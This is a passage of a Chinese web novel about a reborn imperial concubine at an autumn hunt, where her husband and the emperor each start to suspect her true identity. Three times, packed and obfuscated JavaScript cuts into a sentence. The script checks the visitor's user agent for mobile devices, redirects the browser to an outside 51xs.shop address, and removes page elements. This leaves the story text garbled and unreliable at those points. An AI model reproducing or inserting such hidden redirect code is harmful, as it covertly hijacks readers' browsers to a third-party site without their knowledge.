旌旗猎猎,迎风招展,皇家护卫队俱是武将之家风华正茂的好儿郎,马蹄得得,把扎营的号角吹响。 薛灵儿一身银红色的骑马装,从官员家眷的随行轿子里一出来,看到这熟悉的情景,一阵酸涩上涌,便有泪糊了双眼。 前世,三年前她在生的时候,她安国公府薛氏,有好几名子弟,是这护卫队中飒爽英姿的好儿郎。 如今,所有繁华,转眼成灰。 43. 前夫 秋香跟在身畔,见薛灵儿用帕子揉眼,低声问:“主子怎么了?” 薛灵儿放下巾帕:“无事,灰尘迷了眼。” 远远一望,便是宋汝璋骑着高头大马,朝薛灵儿迎了过来。他本就身形高大,气宇轩昂,这马又通身雪白,甚是神骏,一时吸引了全场的目光。 众人目光随着他前移,见一个娇小玲珑身材年轻少妇在他目光尽头,心下了然,原来一贯冷情的宋大人这般殷切,是来迎接自己的新婚妻子了。 这些日子,满京城都传扬开来,宋大人为宠这位痴傻夫人,简直是性情大变,完全换了一个人。为夫人制新衣,大手一挥,几乎买下了半个绸缎铺,为夫人选个坐骑,又与京城著名的纨绔沈公子大打出手,日常供养,燕窝鱼翅,俱都是从皇后娘娘宫里讨要出来的恩赏,寻常官宦人家,拿银子都买不到。 如此传奇盛名之下,在这狩猎场上的达官显贵,贵妇淑媛,难免对这传奇中的女子,号称痴傻的宋夫人薛氏,重新发生了好奇心,要好好的打量一番。 远远的见那少妇,一身银红骑马装如三月春桃,娇小身段不掩曲线玲珑,远远的虽然五官面目看不甚清楚,但姿态娴雅,气定神闲,一双大眼精光闪烁如寒星,哪里还有半分痴傻样子? 就是自幼严受庭训的贵胄千金,怕也是不如她这样光彩照人,怡人悦目。 也有那心怀嫉妒的悄声议论,这女子来历诡异,是从钉死的棺材里爬出来的,日后指不定还有多少稀奇古怪之事,是福是祸,也未可知。 皇帝沈清远,已经扎下营帐安顿好,着白玉冠带,宽松明黄软缎袍服,全然一副消闲轻松装扮,在帐外闲坐饮茶。 远远的也望见众人目光所瞩,是自己亲信宠臣宋汝璋,骑着高头大马,正奔向自己新娶的妻子,想起他开口讨要燕窝一事,忍不住莞尔一笑。有道是,英雄难过美人关,连宋汝璋这样冷冰冰不近人情者,也有这一日。 想到日后要好好取笑一番这个亲近臣下,沈清远把目光又往远处一眺,想要看得再仔细些,谁知看到大路尽头那臣妻,着一身骑马装,那银红色和那飒爽英姿的劲儿,莫名的就是一个似曾相识之感,他的胸口如同被大石撞了一下,登时疼痛得透不过气来。 三年前,也是这个时节,那人也穿一身银红骑马装,艳如桃花,灼灼其华,从凤鸾上一下来,纤长身段,一抹蜂腰,飒爽中带一种天然妖娆,瞬间,眼前五色斑斓的秋天草原,黯然失色…… 眼前一阵眩晕,沈清远捂住胸口,大口喘着气。 贵妃秦若月,在左近的营帐内安顿好,因有协理六宫职责在身,带着宫人四处巡视,恰好一眼瞥见皇帝脸色青白,额头见汗,忙奔上前来,殷殷问道:“陛下这是怎么了,是身子不适吗,可要传太医?” 皇帝略微宁定,强笑一下:“想是一路有些劳顿,回帐内歇息片刻就好,不必扰了大家的兴致。” 秦贵妃听从君命,亲自扶皇帝回了营帐,给郑皇后送了信,郑皇后又亲来侍奉,秦贵妃又来到营帐外。朝着皇帝刚才望的那个方向忍不住远远的望一眼,却什么也没看见,按下心中的狐疑,开始张罗诸事。 薛灵儿见宋汝璋骑着高头大马,远远的过来迎接,吸引了全场的目光,明明是互不相扰的名义夫妻,偏偏搞得比正经夫妻还亲热,忽然就羞意上涌,面颊发了烫。 自己心中也是纳闷,前世为贵妃,三年前也是在此狩猎,皇帝也是众目睽睽之下,来自己的鸾驾跟前,拉了自己的手下了轿,也没见自己如此羞涩。 如此说来一定是宋汝璋的错,这素来低调的人忽然张扬高调,不可理喻,害得她替他脸红耳热,于是含羞带怒,嗔了宋汝璋一眼:“大庭广众之下,成什么样子。” 宋汝璋忽然被埋怨,深感莫名其妙:“大庭广众之下,我接你去练习骑马,有什么毛病了?” 薛灵儿一想,对于宋汝璋这样无视他人眼光的木头人,的确也是没什么毛病,秀才遇见兵,有理说不清,算了走一步看一步吧,于是头一垂,老着脸皮,跟了他去。 边走边留意那白色的高头大马,忍不住称赞一声:“这就是与沈公子争的那匹马?果然长得俊。” 宋汝璋一愣:“……并非是。” 不是这个? 薛灵儿好奇,仰起脸,望向宋汝璋,宋汝璋反而躲开了她的眼:“一会儿你就知道了。” 二人肩并着肩来到了马场,面前是一大片草场,正合纵马驰骋,也早聚集了三三两两,年轻些的小夫妇们,准备一起玩耍嬉闹一番。 宋汝璋拉着薛灵儿的衣袖,来到一处树丛旁,轻轻唤一声:“流云!”也不知为何,到底是紧张还是激动,心止不住地跳起来。 流云欢快地答应一声,从一棵大树后转出来,手牵一匹马对着自家主母献宝似的,亮了一个相,早有好事的人,知道古板的宋大人居然要搞花样,给新婚夫人送惊喜,等在一旁看着。 一看这匹马,忍不住就喝起彩来,而薛灵儿看见这匹马,眼前突然就是一个眩晕。 西域进贡的汗血宝马,通身赤红毛色,四肢纤长漂亮,脖颈修长,大异于中原品种,真跑起来更是风驰电掣,如同一抹彤云,从天边瞬间来到面前。 类似的汗血宝马,梧桐宫里养着五六匹,但眼前的这一种,没有。 这种,除了毛色赤红,还加上四个蹄子乌黑,黑红相配,更加稀有,跑起来更加好看。 那一年,丹阳县主与薛贵妃相争,不惜顶着黄沙,往口外迎了三天三夜,争的就是这一种汗血宝马。 而那一年,薛贵妃争马失败,动了大气,摔了相当名贵的一套汝窑雨过天青茶盏,发誓第二年,一定要争回来。 第二年,她争赢了,本可赶在她生日宴的时候献上宝马,可惜关外一场大风沙,迟了一日。 宋汝璋见汗血宝马亮了相,一颗心砰砰乱跳,活像要跳出腔子。 贵妃死的那一年,这个品种的汗血宝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14128723|144597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 马在她死的第二日,进了京城,入了皇宫。 宋汝璋那时候是翰林院编修,在御花园的梧桐阴凉之下,看到那马浑身赤红,四蹄乌黑,神骏非凡踏入皇宫,与薛贵妃的一口薄棺,恰好在白玉阶的最高处,擦身而过。 他当时心口一口血上涌,涌到喉咙处一片咸腥,生生克制住了自己,回到自家,才把这一口血呕到了地上。 次日,他一言不发,双目赤红,如同失心疯一般,闯了内廷,皇帝再宽容好性情,也是勃然大怒,判他受了廷杖。 他瞒住一切人,躺了足足大半个月,才算将养好。 往事早已如烟,那股痛却还在肺腑,宋汝璋强行按住肺腑之中的那股疼痛,眼睛都不眨,盯着眼前女子的神情。 薛灵儿眼中的异样之色只是一瞬,随即便控制了自己的神情,她以为没有谁能发现。 可并没逃过宋汝璋的眼睛。 他浑身都痛了起来,心口就像火烧,然而勉力维持着自己的镇定,对薛灵儿说:“上马,我带你一起骑一圈。” 薛灵儿不敢推却,生怕露出破绽,点点头。 宋汝璋先上马,薛灵儿由他拉着手,也上了马背,马背上二人身子挨着身子,薛灵儿只觉得宋汝璋的身子异样的火热,被他蒸烤的瞬间脸颊发了烫。 宋汝璋轻声催动马匹,那马儿甚有灵性,依着主人的指令小步跑动起来。 树丛之后,一个明黄色人影悄然来到,借着树影的遮挡,无人留意,有眼尖的宫人看到,刚要行礼:“皇……”身后汪德厚将拂尘一甩,制止了,由得皇帝拄着禅木山杖,静静观看。 沈清远稍一端详这匹汗血宝马,看到那乌黑的四蹄,耳边就是嗡的一声轻响。 不信世上有这么凑巧的事。 三年前,同样品种的一匹马送进了皇宫,他那明艳无双、不可一世的宠妃入了棺木,被送到荒郊野外,成了孤魂野鬼。 沈清远透过模糊的双眼,看着马背上银红色的娇俏身影。 明明不是那个人,身形样貌都不对,可是也不知道为什么,就是能让他想起那个人。 往事在眼前重叠出流动的幻影,一股妒火从他心底里烧了起来。 紧紧贴在她的身后,一起纵马驰骋的人,是他才对。 他被自己的想法吓到了,眼前这个女子可是臣下的妻子。 远方一声凄凉的雁叫,秋风吹过草原,长草如波浪般起伏不定。 沈清远觉得身上寒津津的,不知什么时候,汗已经湿透了里衣。 他回头,吩咐汪德厚:“我们走。” 汪德厚悄悄舒了口气,皇帝本就身子不适,他侍奉皇帝微服跑到这里来,瞒了郑皇后和秦贵妃,已经是担了天大的干系。 谁知皇帝又回了一下眸:“晚上在我的大帐内烤全羊,请宋汝璋夫妇过来。” 汪德厚心里又是一缩。皇帝的行为第一次让他看不懂,就像天边席卷而来的那一片乌云一样。 44. 交际红人 远远的,众位王公大臣带着家眷,都忍不住好奇地观望着这一对离奇的新婚夫妇。 最初,宋汝璋打死不肯娶妻,本欲迎一个灵牌进门应名凑数,阴差阳错迎了这个姑娘进门。 没想到,如今,着迷成这个样子。 “你瞧啊,瞧宋大人那一脸痴迷的样子!”次辅朱厚照的夫人周氏自己骑一匹马,忍不住朝着另一匹马上的朱厚照一笑。 难得一起出来散心,朱厚照很配合老妻,努力地跟着笑了一下。 宋汝璋跨坐在马背上,胸膛紧贴着薛灵儿背心,本就心如火燎,被众人这么看猴似的远远的一瞧,不由得就出了一头的薄汗。 立刻就后悔跟薛灵儿同乘了一匹马,他想从马上下来,逃离这尴尬的境地,谁知刚一动,薛灵儿就尖叫一声:“大人你不要动!我不会骑马我害怕!你一动,我更害怕了。” 宋汝璋无可奈何打消了念头,又尬在了那里,重新受着煎熬。 薛灵儿遥想着自己上一世的马上英姿,心里哼了一声。 她一拍马,别说一个宋汝璋,十个宋汝璋也赶不上她。可是现在,她只能装不会,演的像还是不像,也管不了那么多了。 二人各怀心思,马儿一无所知,悠然跨过了一个斜斜的山坡,迎面碰到另外两匹马,就是一声长嘶,宋汝璋怕新马容易受惊,赶紧勒住了马缰绳。 对面之人也停了马,宋汝璋一看,是次辅朱厚照夫妇,他是首辅门生,与次辅不是一派,虽然自身是天子近臣,也不敢掉以轻心缺了礼数,赶紧把妻子半扶半抱下了马,二人一同行礼。 朱厚照宦海沉浮多年,虽然对宋汝璋这一路克己之人有很重的提防心,倒一向欣赏他并不骄矜的样子,带一丝微笑说道:“今日一同出来散心,宋大人倒也不必如此多礼。” 周氏细细打量了眼前的宋夫人薛氏,见她大眼精灵,笑容得体,看不出丝毫痴傻样子,再想起她从棺材里死而复生,拿错庚帖高嫁等等离奇传闻,不由起了一份好奇心,先看了朱厚照一眼:“我有心请宋夫人回去喝茶歇一歇。” 薛灵儿一听,顿时觉得天上掉了馅饼。 跟丹宁县主在社交圈子混这些时日,她早就听说次辅家的古怪之处。夫人周氏是贫贱之妻,朱厚照虽然如今位高权重,倒一直对夫人不失尊重,只是不允准夫人交际,说是担忧夫人出身微贱,见识浅短,惹人笑话,因此薛灵儿跟县主两个人虽然跑遍了京城,这次辅家的门,可是一直进不去。 想起她偷偷进入宋大人书房,看到的名册里,朱次辅在安国公府倒了以后青云直上,当下毫不犹豫,厚起脸皮,绽放出一个甜甜的笑:“早就仰慕朱夫人贤良淑德,如今晚辈可算能有缘亲近了。” 宋汝璋也觉得是天上掉了馅饼。 一下午时光,本想借着教妻子骑马,探一探眼前这个姑娘的底细。他知道薛贵妃极其擅马,少年时代的功夫,几个回合下来,就会露出端倪破绽,假不了。 可是他高估了自己的耐受力。越来越多的事情指向那个呼之欲出的答案,他也越来越无法耐受与她近距离的相处。 别说骑在马背上身子贴着身子,就是一同回到营帐里四目相对,也是受不了。 因此朱次辅夫人的这一个邀请,也算是来了个大救星。 于是也罕见的厚起脸皮,肃了脸容:“内子在家中也常念叨,听闻朱夫人治家有方,很想去受些教诲,只恨不得机缘前去拜望,今日可是全了心愿了。” 薛灵儿眼角微微瞄了宋汝璋一下,见他面不改色,心中也是佩服,人这个东西要说性情大变,还真是变得厉害,连见机行事撒谎打配合都无师自通了。 朱厚照沉吟一下。 他本来是一肚皮的拒绝心思,面对这小夫妻俩一唱一和,也是说不出口,况且宋汝璋天子近臣,不能为一点小事得罪于他,主意拿定,打个哈哈干笑一声:“皇上这次秋猎的意思,本也是让我们多亲近亲近,做臣子的岂能违背圣意?” 四人相视一笑,早有马童过来,接过马缰绳,转向朱厚照帐篷的方向。 三匹马儿突然转向,一起在长草中长嘶起来。这汗血宝马的嘶声,比寻常马匹嘹亮许多,又吸引了许多人注意。众人一看,有一少妇和次辅朱厚照的夫人并肩靠头,亲亲热热,往帐篷里走去。 这可奇了。 都知道次辅严谨,不许夫人交际,以免生出事端,这么多年,从来没人能进朱府的大门。 再定睛一看,原来是宋夫人薛氏。那又不算稀奇。这女子路数古怪,身上会发生些什么稀奇古怪的事,都不算稀奇。 四人一行进了帐篷,团团坐定,丫鬟过来上了茶。各人喝下一杯茶,解了渴,解了乏,长长舒了口气,方才面对面,大眼瞪小眼,觉出了几分尴尬。 因为本就不熟,强拉硬拽来的。 朱夫人分外高兴。 来到京城之后,朱厚照严禁她社交,是以虽然这么高的社会地位,对于她来说是百无一用,连一个手帕交都没有。今日开口,本来也就是乍了胆子,没想到真的得到了允准,喜出望外之余,只觉得妇人女子之间那些家长里短的话题,平日里憋了一肚子,此刻涌泉似的要往外涌。 但侧目一看,一老一少两个男子汉,都是朝堂高官,朱次辅一部浓黑胡子,宋大人浓黑眉毛眉压眼,二人目光炯炯,面相都凶,于是,那些甜蜜畅快的妇女之间的小话题,便一句也说不出口。 薛灵儿也着急。 朱次辅是何等样的老狐狸,有他在旁看管,套问他三年前的行踪,那是一句也问不出口。 宋汝璋略一侧目,看到薛灵儿面上笑意如春花,但眉尖微蹙,旁人觉不出这点细微差异,但日子一久,他对她的小表情已经异常熟悉,知道她是为什么事情而着急。 心下有了个猜想和判断,站起身,邀请朱次辅:“朱大人,帐篷内有些气闷,能否陪下官出去走走,最近重新翻阅《尚书》,有个疑难要请大人给下官指点一二,怕夫人娘子们不爱听。” 朱厚照平白无故 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187909|144597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坐在这儿,也是浑身不爽,料想着出去一小会儿,也是无妨,便点了头,起了身。 望着二人出帐篷的背影,薛灵儿又对宋汝璋投去了一个刮目相看,他要早有这本事,这个眼力见儿和灵活劲儿,何至于对那秦若晴只能远远的看着? 周氏见两个碍眼的人自动走了出去,眼睛都发亮了 外头,两个神情肃穆的高官,迎着秋风烈日,马儿长嘶,人儿欢叫,当真的在讨论《尚书》中的一节。 朱厚照本来带了戒心,怕是宋汝璋受首辅顾维钧指派,来套问些什么,没想到此人谈话,一板一眼,只针对书本学问,便也暂时放下戒备,高官之中也是难得遇上一个还有兴趣聊学问的人,刚要起劲儿,贴身侍从小跑几步跟上来,贴在他耳边说道:“大人,皇上身边汪公公来传话,说皇上要召见您。” 朱厚照对宋汝璋打个招呼,转身离去,宋汝璋骤然落了单,本该先回到自家帐篷内,可自己也不知为什么,又踱回了周氏和薛灵儿所在的大帐外面。 也不是故意要偷听,就仿佛恰好来了一阵风,把二人的对话,送到了他的耳边。 就听朱夫人说道:“三年前那会儿,朱大人刚把我们母子接来京城,乍然到了一个新地方,人生地不熟,家里又没有上人做主,也真是艰难。” 朱夫人此话,本是炫耀自己独撑门户,当家理事,对面的宋夫人虽然年轻,却十分善解人意,方才一直捧着她说话,处处说到心坎上去,因此说完这句,稍一停顿,喝口茶水,等着薛灵儿接话。 薛灵儿也停顿一下,大眼睛内似乎有异样光亮闪烁一下,迎合着朱夫人的心意说:“果真是艰难得很。那年朱大人第一次得重用,北上去了突厥,幸亏朱夫人贤良能干,独撑一家子老小的大局,要我说呀,朱大人这权位,也有夫人一半功劳呢。” 朱夫人微微一愣。 朱大人去突厥,是件秘密差使,当时千叮咛万嘱咐,不让对任何人说,这件事知道的人应该不多呀,眼前这小媳妇怎么会知道? 又让自己心安下来。反正她没说,那么大概是宋汝璋大人告诉媳妇儿的,反正他二人官位现在也差不许多了。 既然夫君的官位相当,她和眼前这乖巧知趣的小媳妇也该多结纳才是,于是微笑道:“你这么贤良懂事,难怪宋大人这么快就为你着迷了。以后我们两家,也要多来往才是。” 薛灵儿也是听得一愣。宋大人为她着迷?也不知这朱夫人是什么眼神。但这不重要,重要的是,去突厥接洽二王子的人,真的是朱厚照,事后,朱厚照得到了提拔重用。 薛灵儿的心往下一沉,陷害安国公府这件事,牵涉的人面之广,权位之高,还是超出了她的想象。 大帐外头的宋汝璋,在听到自家妻子说“朱大人北上去突厥”,耳边嗡的一声轻响。 三年前,朱厚照曾经北上去突厥,这件事是个秘密差使,当时他只是个五品翰林院编修,并不知道。 事实上到如今,整个朝堂也没有几个人知道。 45. 皇帝摆宴 宋汝璋最近偷偷查阅锦衣卫的秘密档案,才知道三年前的内幕,是突厥二王子来京构陷,陷害了安国公府。 但谁是经手人,联络了突厥二王子,就连他,也还没有查到端倪。 自家这个名义妻子,五品小官家的庶女,从棺材里死而复生。 说是个痴傻姑娘,可是从进了宋府的门,大大小小的事情加起来,好像正常人也及不上她一半的聪慧和讨人喜欢。 自己跑出去结交皇族之女丹阳县主,说是贵妃薛灵儿托梦,要超度亡魂,结果三年前谁也不知道的官场秘事,她都知道,她的言语行动,直指安国公府的灭门血案。 这哪是什么托梦,而是……还魂。 朝思暮想、生死永隔的人,竟然日日夜夜的就在身边…… 他浑身冒了冷汗,耳边起了炸雷,炸得他站不住,脚下踉跄了一下。 被一只大手扶住。 他心神恍惚回头一看,是朱次辅,次辅的神情好像和他一样恍惚,一额头的汗。 但也无暇理会了,他恍恍惚惚地对次辅笑了笑:“叨扰了,下官这就接内子回去。” 次辅好像也无暇顾及他,点个头就奔了帐内,脚步带些踉跄,跟宋汝璋差不多。 薛灵儿出了朱次辅的营帐,挥挥手帕告别意犹未尽的周氏,一转身,被宋汝璋的高大身影笼罩,她因探听到了重要消息而感到欣慰,忍不住对宋汝璋展颜一笑,轻轻唤了一声:“大人,劳你久等了。” 这一个笑容如同三月桃花绽放,就与玉门关外的黄沙和驼铃声叠在了一起,宋汝璋用尽全身力气才控制住自己,可是双腿仍旧在长袍下颤抖。 薛灵儿不见宋汝璋应声,仰起脸留神看了他一眼,却发现他平日里寒津津的眼珠格外发着亮,好似裹在两汪清泪里,忍不住问了一句:“大人你怎么了?” 宋汝璋轻咳一声:“没什么,风沙迷了眼睛。” 两行清泪真的从他脸上流了下来。 薛灵儿举起帕子给他轻轻擦干,左右看了看心里纳闷,风和日丽的,哪来的风沙? 恰好流云找了过来,一见两位主子大太阳底下不避闲人的亲热,又是高兴,又是好笑,就想往一棵大树后面躲,被宋汝璋喝住:“装神弄鬼的做什么?” 流云勉强收敛了笑意,郑重其事回禀道:“主子,汪公公叫人通报,晚上皇上的营帐里烤全羊,皇上皇后宴请大臣和家眷们,请主子带夫人一同赴宴。” 一声“皇上”,如同一瓢天山上的雪水从天灵盖淋下。 皇上…… 当时一夜之间除掉安国公府,是朱红御笔亲批,给锦衣卫下的密令,可是后来,在无数黄昏,君王和臣子的棋局半残,鸦影掠过西山,那平素喜怒不露的君王带着薄醉,眼睛总是望向一个固定的方向,唇边掠过几不可闻的叹息。 别人或许不知道,但是他都知道,因为他是他最亲近信任的臣子。 如今,如果他知道,他心心念念、无时或忘的宠妃又活了过来…… 宋汝璋打了个冷颤,本来头脑和身体如同在火炉之中,这一下全凉了下来。 一听皇上要宴请,薛灵儿心中也是一沉,再一察觉宋汝璋脸色有异,便探问一句:“大人,皇上晚上请吃烤全羊,皇上这么爱热闹,是不是每次出来打猎,都请臣子们吃饭呀。” 被这句话一刺激,宋汝璋混乱的头脑如同扎了一根针,摇摇头:“皇上天性爱静,请臣子和家眷进营帐,这是头一回。” 薛灵儿早有答案。她岂不比谁都知道沈清远爱静?梧桐宫开宴,从来都请他不动。 这么说,今晚他是别有所图。 自己无论如何都要谨言慎行,务必让他看不出破绽,也就罢了。 宋汝璋微瞟了一眼她的神色,心中更加沉了下去。 她在提防皇上。 是她无疑了。 虽说后来安国公府因谋反罪被满门诛杀,皇上与她已经结仇,但究竟事出有因,况且,那毕竟是皇上,前世宠爱她的那些情分…… 薛灵儿自己也满腹心事,只垂着头在前面走,流云看出宋汝璋脸色忽青忽白,关切道:“大人是不是太阳晒多了,有点中暑,赶快回营帐躺一躺吧,别耽误了晚宴。” 薛灵儿刚想说,都已经秋天了,中的什么暑,但宋汝璋立刻点头应下,说是中了暑,忙不迭地回去躺了。这一躺,昏昏沉沉就躺到了黄昏时分,等薛灵儿装扮好了过来请,才勉强爬起身,穿戴整齐,二人携手来到了皇帝的营帐之内。 皇帝的大帐格外宽敞,贴地放了对面两溜长桌木凳,早有品级高的几位重臣近臣携了家眷在座。皇帝的龙座高高在上,只是还空着无人,左侧一溜是内阁六部的要员,以首辅顾维钧带顾夫人坐在首座。 宋汝璋跟薛灵儿点头示意,前去见礼,薛灵儿打醒了精神。 在前世,安国公府当大小姐,后来入宫为贵妃,都听过这位的盛名,经历三朝,多少是非,朝堂风云变幻,能稳扎稳打,屹立不倒,提起来,她父亲安国公也是要佩服的。 薛灵儿微垂着首,手提裙摆,跟在宋汝璋身畔,来到顾维钧夫妇座前,躬身行礼。顾维钧并非开口说话,只听顾夫人温声说道:“宋夫人不需如此多礼,快快请起。” 薛灵儿抬起头来,打量一眼经历三朝的名臣,适才大殿昏暗光线之中,只看到这位首辅身材瘦小枯干,在众臣之中毫不起眼,连官服好似都特意制成的小两号。此刻凑近了,发现这人样貌更是不起眼,黝黑肤色,满脸皱纹,皱得如同一个核桃一般,别说是当朝首辅,就说是田间一个普通农夫,只怕也有人信。只一双眼睛与薛灵儿对视之间,如同电闪,压迫得薛灵儿微微错开了视线。 给首辅行完礼,来到次辅桌前,相比之下,朱厚照高大儒雅,风度翩翩,才更像个首辅的气派,因和朱夫人刚结纳,此刻虽然是当着众人的面,神情之间也是格外透了亲热。 再下来是锦衣卫指挥使夫妇,薛灵儿跟这家人,比宋汝璋跟他们都熟悉, 左首的这几桌老臣重臣逐一打了招呼,方才回到自己座位上,心内一盘算,李氏秦氏两大家族,都没有来。 要说因为家主宁国公、秦国公都是年富力强的武将,都在戍边而不能来,那家族在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14192055|144597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 京城掌家的、做官的,为何不来?薛灵儿内心有隐隐的不安。 正在垂头内心怔忡之中,耳边听得大帐的后面转来脚步声响,一男一女,不疾不徐,从容中透着端方温雅,正是薛灵儿前世最熟悉的,皇帝皇后,来了。 众臣不敢怠慢,携着家眷离座,依照朝堂顺序下拜,山呼万岁,皇帝皇后落座,众臣行礼完毕,依次落座。 皇帝素来寡言少语,还是郑皇后先开口说话:“众位卿家,不必拘礼,皇上这次出猎带大家同游,就是希望君臣同心,共享天伦。” 这时宫人侍女奉上食物,帐外烤肉飘香,今日下午武将猎获的诸种野味,除了事先宰杀好的全羊上架烤熟,香气飘出老远,山鸡獐子也配了粗盐花椒炙烤,油花闪亮,端了上来。 美酒倒入银杯中,大帐外头的草原上升起篝火堆,守卫的士兵远远的在草原的另一边,大口饮酒,大声唱歌,歌声远远的传过来,帐内的烛火明灭跳动着,皇帝皇后举起酒杯,帐内众臣带着家眷起身,齐声祝贺帝后同心,万福金安。 一轮祝酒过后,皇帝一直没有说话,薛灵儿也一直没敢转过视线对他望上一眼,只盯着眼前的几盘烤肉,手指触摸着银杯上镂刻的花纹。 此时皇后发了话:“宋夫人薛氏,过来让本宫仔细瞧瞧,前阵子你来宫里受封,有人跟本宫说,你神似一位故人。” 薛灵儿手一颤,手边的银杯差点打翻。宋汝璋面前的银盘与银叉也是叮当一声脆响。 在场诸位老臣一怔之后,又觉见怪不怪,这小夫妻俩虽然大气沉稳,超越一般人,究竟也还年轻,见了皇帝皇后的威严,如何能够不慌? 薛灵儿勉力收敛了心神,恭恭敬敬走到皇后座前,只垂着头,不敢抬头望上一眼。 众人看着,也觉好笑,皇后说了要仔细瞧瞧,惶恐成这样子,如何瞧法?皇后一脸笑意,刚要发话,就听身畔的皇帝开口说了话:“皇后既然这样说了,朕倒是也想瞧一瞧,究竟是像哪一位故人。” 听了这话,众臣都带了诧异,眼光向那位九五至尊瞧去。 皇帝沈清远平日虽然随和,可性情冷淡疏远,不怒也自带威严,今日当真心情不一般,兴致有这般好吗?要对一个年轻的臣妻加以关注? 这是本该出于礼法,出于尊卑,君臣男女,而回避的忌讳,难道今天皇帝的兴致如此之好,这些都可以不顾及了吗? 在场的几位臣妻,或老或少,内心几经辗转拉扯,实在克制不住,不忍放过这千载难逢的机会。平日里,虽然她们夫君位高权重,她们安享富贵尊荣,但,连见到外男的机会都少,何况是皇帝。 就是今日开了天恩,皇帝邀请赴宴,谁又生了天大的胆子,敢向那龙座瞧上一眼? 谁知竟有这般遇合,今日百年不遇,皇帝竟然要与臣妻对看一眼。 既然那走到龙座下首的宋夫人可以看,她们又有何不可看?况且早就听说当朝皇帝不仅风华正茂,且单论相貌俊美,风度儒雅,在世家贵胄中也是数一数二,当此机会,谁能忍住不看? 唯独宋汝璋,心口如同被大锤敲过,重重的一击。 46. 废太子侧妃 皇帝一发话,要好好瞧一瞧龙座下的臣妻,这一下,整个营帐内的十数位臣妻,目光齐刷刷,都朝着皇帝望过去。 这么一看之下,果然没有失望,这十几位臣妻除了朱夫人周氏都是世家女,生平所见男子都是富贵窝里养大,钟鸣鼎食,诗书礼仪熏出来,可论形貌气度,确实少有人比得过这位。 众位夫人瞟了一眼之后,收回了目光,不敢再看,只在心中赞叹,这位君王不光富贵二字占了人间极处,连品貌二字,也是占了人间极处。 宋汝璋情不自禁,也往龙座上瞟了一眼,心口有个大锤,一下一下,锤个不住。 皇帝今日罕见的多话,罕见的口角含笑,仿佛随和恣意,或许只有他看得出来,那眼中一闪而过的紧张之意。 薛灵儿在众望所归之中,慢慢抬起头来,这些日子的矜持得体却又不见,回复了刚嫁入宋府入宫受封时候的几分痴傻,大眼睛闪着亮,无所顾忌地看向皇帝的眼睛:“皇上说我像谁,我就是谁。皇上是金口玉言,说出话来,让人活就活,让人死就死,谁都得听话。我爹一直是这么告诉我的。皇后娘娘,你说对不对?” 她的视线从皇帝脸上转到皇后脸上,开心地笑起来,笑声如银铃,在原本肃穆的营帐内。 宋汝璋心中作痛,耳边作响,这笑声,如他在玉门关的驼铃声中听到的一模一样。 沈清远并未长久盯着眼前的臣妻看,只在二人视线交错的时候,心在腔子里狠狠的摇晃了一下。 但眼前这个年轻的小姑娘,此刻看起来,神情面貌无有一处相似,且眼神接触的时候,如流水一般漫过他,又转身离去。 如流水一般恣意烂漫,却又转瞬无情。 也正是心性不全,痴傻之人该有的样子。 但,白日看她骑马的时候那古怪的感觉,又从何而来? 沈清远收回了笑意和视线,微微垂了头,回复到寻常的样子。 他有几分失望,又不想就这么死心。总之,他拿不准,拿不准以后该怎么办。 这是他人生第一次,感到无措。 郑皇后也收了唇角笑意,薛灵儿这一番话,突兀而古怪,带一丝刺耳,让人接不上话,又不好挑她的错,毕竟是个痴傻姑娘。 屋内与薛灵儿熟识一些的夫人们,也感到了怪异,指挥使夫人心下就十分不解,宋夫人好久不这么说话了,朱夫人想的是,这么乖巧善解人意的小媳妇,怎么胡言乱语起来,什么生生死死的,莫非是乍见了皇帝的面,欢喜的疯了? 郑皇后的兴致落了些,却也没有落到底,仍旧转头对皇帝笑道:“皇上您猜猜,有人跟我说她像谁?” 皇帝心里咚的一跳,难道真有人跟自己一般想法?方才收回的笑意不觉又回到唇角:“皇后这题难解,宫里主子奴才这么多人,朕怎能猜到?” 说完端起酒杯饮一口,眼角余光却停在皇后身上。 又怕她说出梧桐宫三个字,又盼她说出。 龙座之下,薛灵儿腰身笔直,面上保持春花般的笑意,大眼睛肆无忌惮地盯在皇后脸上,正合几分痴傻的样子,可是华丽衫裙之下,身体绷紧,心跳如鼓。 宋汝璋在摆满烤肉的长桌之后,同样心跳如鼓。 皇后察觉了几分莫名紧张的气氛,轻声笑了起来:“皇上错了,怎么只往宫里头想?像宫外头的人不成吗?” 皇后这一开颜,营帐内的气氛果然松了下来,皇上唇边笑意更深了些:“宫外头的人那就更多了,叫朕到哪里猜去。” 皇后举起一杯酒,对着座下的臣子们晃了晃,柔声说道:“宫外头的人虽然多,率土之滨莫非王土,都是皇上的子民呢。” 